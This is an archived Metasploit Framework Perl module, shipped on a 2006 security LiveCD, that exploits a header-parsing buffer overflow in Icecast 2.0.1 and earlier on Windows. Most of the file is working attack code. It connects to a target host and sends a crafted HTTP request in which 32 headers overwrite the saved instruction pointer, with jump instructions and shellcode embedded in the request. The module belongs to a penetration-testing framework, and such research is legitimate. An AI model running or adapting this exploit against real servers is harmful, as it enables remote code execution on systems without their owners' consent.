home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / icecast_header.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  131 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::icecast_header;
  11. use strict;
  12. use base 'Msf::Exploit';
  13. use Msf::Socket::Tcp;
  14. use Pex::Text;
  15.  
  16. my $advanced = {
  17.     'LessTraffic' => [0, 'Use smaller (but less real looking) http headers'],
  18.   };
  19.  
  20. my $info = {
  21.     'Name'    => 'Icecast (<= 2.0.1) Header Overwrite (win32)',
  22.     'Version' => '$Revision: 1.6 $',
  23.     'Authors' =>
  24.       [
  25.         'spoonm <ninjatools [at] hush.com>',
  26.         'Luigi Auriemma <aluigi [at] autistici.org> (bug and exploit info)',
  27.       ],
  28.  
  29.     'Arch'    => [ 'x86' ],
  30.     'OS'      => [ 'win32', 'win2000', 'winnt', 'winxp', 'win2003' ],
  31.     'Priv'    => 0,
  32.  
  33.     'AutoOpts'  => { 'EXITFUNC' => 'thread' },
  34.     'UserOpts'  =>
  35.       {
  36.         'RHOST' => [1, 'ADDR', 'The target address'],
  37.         'RPORT' => [1, 'PORT', 'The target port', 8000],
  38.       },
  39.  
  40.     'Payload' =>
  41.       {
  42.         'Space'     => 2000,
  43.         'BadChars'  => "\r\n\x00",
  44.         'MinNops'   => 0,
  45.         'MaxNops'   => 0, # nops are for slackers.
  46.       },
  47.  
  48.     'Description'  => Pex::Text::Freeform(qq{
  49.       This module exploits a buffer overflow in the header parsing of icecast,
  50.       discovered by Luigi Auriemma.  Sending 32 HTTP headers will cause a write
  51.       one past the end of a pointer array.  On win32 this happens to overwrite
  52.       the saved instruction pointer, and on linux (depending on compiler, etc)
  53.       this seems to generally overwrite nothing crucial (read not exploitable).
  54.  
  55.       !! This exploit uses ExitThread(), this will leave icecast thinking the
  56.       thread is still in use, and the thread counter won't be decremented.  This
  57.       means for each time your payload exists, the counter will be left
  58.       incremented, and eventually the threadpool limit will be maxed.  So you
  59.       can multihit, but only till you fill the threadpool.
  60. }),
  61.  
  62.     'Refs'  =>
  63.       [
  64.         [ 'OSVDB', '10406' ],
  65.         [ 'BID', '11271' ],
  66.         [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html' ],
  67.         [ 'MIL', '25' ],
  68.       ],
  69.  
  70.     'Keys' => ['icecase'],
  71.  
  72.     'DisclosureDate' => 'Sep 28 2004',
  73.   };
  74.  
  75. sub new {
  76.     my $class = shift;
  77.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  78.  
  79.     return($self);
  80. }
  81.  
  82. # Interesting that ebp is pushed after the local variables, and the line array
  83. # is right before the saved eip, so overrunning it just by 1 element overwrites
  84. # eip, making an interesting exploit....
  85. # .text:00414C00                 sub     esp, 94h
  86. # .text:00414C06                 push    ebx
  87. # .text:00414C07                 push    ebp
  88. # .text:00414C08                 push    esi
  89.  
  90. sub Exploit {
  91.     my $self = shift;
  92.  
  93.     my $targetHost  = $self->GetVar('RHOST');
  94.     my $targetPort  = $self->GetVar('RPORT');
  95.     my $targetIndex = $self->GetVar('TARGET');
  96.     my $encodedPayload = $self->GetVar('EncodedPayload');
  97.     my $shellcode   = $encodedPayload->Payload;
  98.  
  99.     my $sock = Msf::Socket::Tcp->new(
  100.         'PeerAddr' => $targetHost,
  101.         'PeerPort' => $targetPort,
  102.       );
  103.     if($sock->IsError) {
  104.         $self->PrintLine('Error creating socket: ' . $sock->GetError);
  105.         return;
  106.     }
  107.  
  108.   # bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
  109.   # jmp 12
  110.     my $evul = "\xeb\x0c / HTTP/1.1 $shellcode\r\n";
  111.  
  112.     # look somewhat realistic, or something..
  113.     # because our above http verb looks so convincing...
  114.     if($self->GetLocal('LessTraffic')) {
  115.         $evul .= " \r\n" x 31;
  116.     }
  117.     else {
  118.         $evul .= "Accept: text/html\r\n" x 31;
  119.     }
  120.  
  121.     # jmp [esp+4]
  122.     $evul .= "\xff\x64\x24\x04\r\n";
  123.     $evul .= "\r\n";
  124.  
  125.     $sock->Send($evul);
  126.  
  127.     return;
  128. }
  129.  
  130. 1;
  131.